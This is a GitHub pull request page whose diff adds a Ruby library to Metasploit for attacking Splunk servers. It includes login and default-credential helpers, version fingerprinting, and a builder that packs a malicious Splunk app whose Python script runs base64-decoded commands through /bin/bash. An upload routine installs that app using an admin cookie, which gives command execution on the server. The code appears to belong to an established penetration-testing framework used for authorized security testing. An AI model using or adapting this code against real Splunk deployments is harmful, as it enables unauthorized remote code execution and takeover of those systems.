Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Splunk library #18715

Merged
merged 5 commits into from Mar 5, 2024
Merged
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
30 changes: 30 additions & 0 deletions lib/msf/core/exploit/remote/http/splunk.rb
@@ -0,0 +1,30 @@
# -*- coding: binary -*-

module Msf
class Exploit
class Remote
module HTTP
# This module provides a way of interacting with splunk installations
module Splunk
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Splunk::Apps
include Msf::Exploit::Remote::HTTP::Splunk::Base
include Msf::Exploit::Remote::HTTP::Splunk::Helpers
include Msf::Exploit::Remote::HTTP::Splunk::Login
include Msf::Exploit::Remote::HTTP::Splunk::URIs
include Msf::Exploit::Remote::HTTP::Splunk::Version

def initialize(info = {})
super

register_options(
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the splunk application', '/'])
], Msf::Exploit::Remote::HTTP::Splunk
)
end
end
end
end
end
end
50 changes: 50 additions & 0 deletions lib/msf/core/exploit/remote/http/splunk/apps.rb
@@ -0,0 +1,50 @@
# -*- coding: binary -*-

# This module provides a way of interacting with Splunk apps
module Msf::Exploit::Remote::HTTP::Splunk::Apps
# Uploads malicious app to splunk using admin cookie
#
# @param app_name [String] Name of the app to upload
# @param cookie [String] Valid admin's cookie
# @return [Boolean] true on success, false on error
def splunk_upload_app(app_name, cookie)
res = send_request_cgi({
'uri' => splunk_upload_url,
'method' => 'GET',
'cookie' => cookie
})

unless res&.code == 200
vprint_error('Unable to get form state')
return false
end

html = res.get_html_document

data = Rex::MIME::Message.new
# fill the hidden fields from the form: state and splunk_form_key
html.at('[id="installform"]').elements.each do |form|
next unless form.attributes['value']

data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"")
end
data.add_part('1', nil, nil, 'form-data; name="force"')
data.add_part(splunk_helper_malicious_app(app_name), 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"")
post_data = data.to_s

res = send_request_cgi({
'uri' => splunk_upload_url,
'method' => 'POST',
'cookie' => cookie,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})

unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
vprint_error('Error uploading App')
return false
end

true
end
end
20 changes: 20 additions & 0 deletions lib/msf/core/exploit/remote/http/splunk/base.rb
@@ -0,0 +1,20 @@
# -*- coding: binary -*-

# Splunk base module
module Msf::Exploit::Remote::HTTP::Splunk::Base
# Checks if the site is online and running splunk
#
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running splunk, nil otherwise
def splunk_and_online?
errorxyz marked this conversation as resolved.
Show resolved Hide resolved
res = send_request_cgi({
'uri' => splunk_url_login
})

return res if res&.body =~ /Splunk/

return nil
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
vprint_error("Error connecting to #{target_uri}: #{e}")
errorxyz marked this conversation as resolved.
Show resolved Hide resolved
return nil
end
end
98 changes: 98 additions & 0 deletions lib/msf/core/exploit/remote/http/splunk/helpers.rb
@@ -0,0 +1,98 @@
# -*- coding: binary -*-

# Module with helper methods for other Splunk module methods
module Msf::Exploit::Remote::HTTP::Splunk::Helpers
# Helper methods are private and should not be called by modules

private
errorxyz marked this conversation as resolved.
Show resolved Hide resolved

# Helper method to get tokens for login
#
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
# @return [String, nil] Post data to use for login
def splunk_helper_extract_token(timeout = 20)
res = send_request_cgi({
'uri' => splunk_url_login,
'method' => 'GET',
'keep_cookies' => true
}, timeout)

unless res&.code == 200
vprint_error('Unable to get login tokens')
return nil
end
"session_id_8000=#{rand_text_numeric(40)}; " << res.get_cookies
errorxyz marked this conversation as resolved.
Show resolved Hide resolved
end

# Helper method to construct malicious app in .tar.gz form
#
# @param app_name [String] Name of app to upload
# @return [Rex::Text] Malicious app in .tar.gz form
def splunk_helper_malicious_app(app_name)
# metadata folder
metadata = <<~EOF
[commands]
export = system
EOF

# default folder
commands_conf = <<~EOF
[#{app_name}]
type = python
filename = #{app_name}.py
local = false
enableheader = false
streaming = false
perf_warn_limit = 0
EOF

app_conf = <<~EOF
[launcher]
author=#{Faker::Name.name}
description=#{Faker::Lorem.sentence}
version=#{Faker::App.version}

[ui]
is_visible = false
EOF

# bin folder
msf_exec_py = <<~EOF
import sys, base64, subprocess
import splunk.Intersplunk

header = ['result']
results = []

try:
proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
errorxyz marked this conversation as resolved.
Show resolved Hide resolved
output = proc.stdout.read().decode('utf-8')
results.append({'result': base64.b64encode(output.encode('utf-8')).decode('utf-8')})
errorxyz marked this conversation as resolved.
Show resolved Hide resolved
except Exception as e:
error_msg = f'Error : {str(e)} '
errorxyz marked this conversation as resolved.
Show resolved Hide resolved
results = splunk.Intersplunk.generateErrorResults(error_msg)

splunk.Intersplunk.outputResults(results, fields=header)
EOF

tarfile = StringIO.new
Rex::Tar::Writer.new tarfile do |tar|
tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io|
io.write metadata
end
tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io|
io.write commands_conf
end
tar.add_file("#{app_name}/default/app.conf", 0o644) do |io|
io.write app_conf
end
tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io|
io.write msf_exec_py
end
end
tarfile.rewind
tarfile.close

Rex::Text.gzip(tarfile.string)
end
end
69 changes: 69 additions & 0 deletions lib/msf/core/exploit/remote/http/splunk/login.rb
@@ -0,0 +1,69 @@
# -*- coding: binary -*-

# Module with Splunk login related methods
module Msf::Exploit::Remote::HTTP::Splunk::Login
# performs a splunk login
#
# @param username [String] Username
# @param password [String] Password
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
def splunk_login(username, password, timeout = 20)
# gets cval cookies
cookie = splunk_helper_extract_token(timeout)
if cookie.nil?
vprint_error('Unable to extract login tokens')
return nil
end

cval_value = cookie.match(/cval=([^;]*)/)[1]
# login post, should get back the splunkd_8000 and splunkweb_csrf_token_8000 cookies
res = send_request_cgi({
'uri' => splunk_url_login,
'method' => 'POST',
'cookie' => cookie,
'vars_post' =>
{
'username' => username,
'password' => password,
'cval' => cval_value
}
}, timeout)

unless res
vprint_error('No response upon login')
return nil
end

unless res.code == 200
vprint_error('Login failed')
return nil
end

return cookie << " #{res.get_cookies}"
end

# The free version of Splunk does not require authentication. Instead, it'll log the
# user right in as 'admin'. If that's the case, no point to brute-force, either.
#
# @return [Boolean] true if auth is required, false otherwise
def splunk_is_auth_required?
cookie = splunk_helper_extract_token
res = send_request_raw({
'uri' => splunk_home,
'cookie' => cookie
})

return (res && res.body =~ /Logged in as (.+)/) ? false : true
errorxyz marked this conversation as resolved.
Show resolved Hide resolved
end

# Test and see if the default credential works
#
# @return [String, nil] the session cookies as a single string on successful login, nil otherwise
def splunk_default_creds
errorxyz marked this conversation as resolved.
Show resolved Hide resolved
p = %r{Splunk's default credentials are </p><p>username: <span>(.+)</span><br />password: <span>(.+)</span>}
res = send_request_raw({ 'uri' => target_uri.path })
user, pass = res.body.scan(p).flatten
splunk_login(user, pass) if user && pass
end
end
34 changes: 34 additions & 0 deletions lib/msf/core/exploit/remote/http/splunk/uris.rb
@@ -0,0 +1,34 @@
# -*- coding: binary -*-

# Module with methods for commonly used splunk URLs
module Msf::Exploit::Remote::HTTP::Splunk::URIs
# Returns the Splunk Login URL
#
# @return [String] Splunk Login URL
def splunk_url_login
normalize_uri(target_uri.path, 'en-US', 'account', 'login')
end

# Returns the Splunk URL for the user's page
#
# @param username [String] username of the account
# @return [String] Splunk user URL
def splunk_user_page(username = nil)
username = datastore['USERNAME'] if username.nil?
normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'services', 'authentication', 'users', username)
end

# Returns the URL for splunk home page
#
# @return [String] Splunk home page URL
def splunk_home
normalize_uri(target_uri.path, 'en-US', 'app', 'launcher', 'home')
end

# Returns the URL for splunk upload page
#
# @return [String] Splunk upload page URL
def splunk_upload_url
normalize_uri(target_uri.path, 'en-US', 'manager', 'appinstall', '_upload')
end
end
56 changes: 56 additions & 0 deletions lib/msf/core/exploit/remote/http/splunk/version.rb
@@ -0,0 +1,56 @@
# -*- coding: binary -*-

# Module to get version of splunk app
module Msf::Exploit::Remote::HTTP::Splunk::Version
# Extracts the Splunk version information using authenticated cookie if available
#
# @param cookie_string [String] Valid cookie if available
# @return [String, nil] Splunk version if found, nil otherwise
def splunk_version(cookie_string = nil)
version = splunk_version_authenticated(cookie_string) if !cookie_string.nil?
return version if version

version = splunk_login_version
return version if version

nil
end

private

# Extracts splunk version from splunk user page using valid cookie
#
# @param cookie_string [String] Valid cookie
# @return [String] Splunk version
def splunk_version_authenticated(cookie_string)
res = send_request_cgi({
'uri' => splunk_user_page,
'vars_get' => {
'output_mode' => 'json'
},
'headers' => {
'Cookie' => cookie_string
}
})

return nil unless res&.code == 200

body = res.get_json_document
body.dig('generator', 'version')
end

# Tries to extract splunk verion from login page
#
# @return [String, nil] Splunk version if found, otherwise nil
def splunk_login_version
res = send_request_cgi({
'uri' => splunk_url_login,
'method' => 'GET'
}, 25)
errorxyz marked this conversation as resolved.
Show resolved Hide resolved

if res
match = res.body.match(/Splunk \d+\.\d+\.\d+/)
return match[0].split[1] if match
end
end
end